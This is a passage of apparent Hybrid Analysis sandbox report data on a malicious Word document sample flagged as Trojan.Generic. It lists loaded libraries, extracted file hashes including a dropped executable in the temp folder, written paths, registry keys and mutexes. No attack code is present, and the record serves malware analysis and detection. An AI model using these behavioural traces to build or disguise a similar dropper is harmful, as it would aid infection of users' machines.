.dll","netapi32.dll","kernel32.dll","apphelp.dll","FM20ENU.DLL","vdmredir.dll","setupapi.dll","profapi.dll","mpr.dll","wship6.dll","devrtl.dll","OSPPCEXT.DLL","MSGR3EN.DLL","clbcatq.dll","ntmarta.dll","comdlg32.dll","imageres.dll","rpcrt4.dll","oleaut32.dll","srvcli.dll","normaliz.dll","user32.dll","shlwapi.dll","WWINTL.DLL","msasn1.dll","MSO.DLL","MSPTLS.DLL","powrprof.dll","webio.dll","SendToOneNoteUI.dll","advapi32.dll","gdi32.dll","VBE7.DLL","rsaenh.dll","WindowsCodecs.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ELMIRJX.LNK","sha256":"9379b8436fc7b58a7eb92353e43047cfd2d56ac26096399f2f0154903f07e2ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"~$Normal.dotm","sha256":"0f1df3bc6ea1ff2f206d19cb506edbfbe00879441b6f34db0015c20c01d14242","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"index.dat","sha256":"a2a8f80d0d55a9b0a141510acc013d17e3571785fef365947683454af8b75a5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"TrfHn4[1].htm","sha256":"03385cbccae28797e0f6b8c1f9b55e767dad487fb652162def9f8eb7a86b29a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"~WRS{F1C4C2FF-BA6D-4106-9731-BEC99D585C96}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"MSForms.exd","sha256":"a7722c7a213ba2f56ed4b74aa0fb282a553ec6c17dcdb34ee650c3d5140136b6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"bruhadson8.exe","sha256":"107434bdb18fa797837bbf1142fec138cdf5eb6e0c804e1ab7ddf7f575915a3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"fremsoho8","sha256":"03385cbccae28797e0f6b8c1f9b55e767dad487fb652162def9f8eb7a86b29a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"scs13BB.tmp","sha256":"ee06792197c3e025b84860a72460eaf628c66637685f8c52c5a08a9cc35d376c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"scs13E5.tmp","sha256":"06d61c23e6ca59b9ddad1796eccc42c032cd8f6f424af6cfee5d085d36ff7dfd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"~$LMIRJX.doc","sha256":"0f1df3bc6ea1ff2f206d19cb506edbfbe00879441b6f34db0015c20c01d14242","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"~WRD0000.tmp","sha256":"e74955da6cc98797006e89783b8b1a5a931c9120dbac25fa5d40c3e005889d16","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"ELMIRJX.doc.lnk","sha256":"6ac5ced3ed6da7195a1539a22bc9b791116473cc3e28544ba0f421af942b6c1f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"files_written":[{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{F1C4C2FF-BA6D-4106-9731-BEC99D585C96}.tmp","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\~DFA8FA9DDDE4B4317B.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\ELMIRJX.doc","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\~$LMIRJX.doc","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{FD247646-FB62-4A18-91F8-BC0439D113B9}.tmp","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ELMIRJX","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ELMIRJX.LNK","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\MSWORD.OLB","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{AAC747BF-F864-4543-96C2-8F706E48766E}.tmp","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\~DFF8DBF6F9365469D0.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL\\3","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%PROGRAMFILES%\\COMMON~1\\MICROS~1\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\VBE","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\VBE\\MSForms.exd","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Forms","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Forms\\WINWORD.box","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\~DF0A49927F425EE3ED.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\~DF172756CAF3D6A45A.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\FM20.DLL\\2","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\FM20.DLL","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\System32\\msxml3.dll\\1","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\System32\\msxml3.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\TrfHn4[1].htm","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msado15.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\fremsoho8","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\shell32.dll","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\Users\\YnFKCWP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\SHELL32.DLL.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\ntvdm.exe","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\bruhadson8.exe","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\_default.pif","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\MSDOS.SYS","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"C:\\IO.SYS","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\ntio.sys","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\system32\\ntdos.sys","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\CONFIG.NT","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\SCS13BB.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\HIMEM.SYS","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\COUNTRY.SYS","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\COMMAND.COM","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\AUTOEXEC.NT","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\MSCDEXNT.EXE","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\REDIR.EXE","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM32\\DOSX.EXE","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%WINDIR%\\SYSTEM.INI","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\SCS13E5.TMP","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%TEMP%\\BRUHAD~1.EXE","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PANOSE\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"IESQMMUTEX_0_191","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!ynfkcwp!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!ynfkcwp!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5926bd2aaac2edef03c72e39"}]}]}},"report_ids":{"sandbox_job_ids":["5926bd2aaac2edef03c72e39"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample bf474a90606c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample bf474a90606c…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 5 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample bf474a90606c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample bf474a90606c…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 5 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/bf474a90606cf73b51a77b63a345087f3fa6a3fd542b99e5ec5eb718283659d4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample bf474a90606c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample bf474a90606c…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 5 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]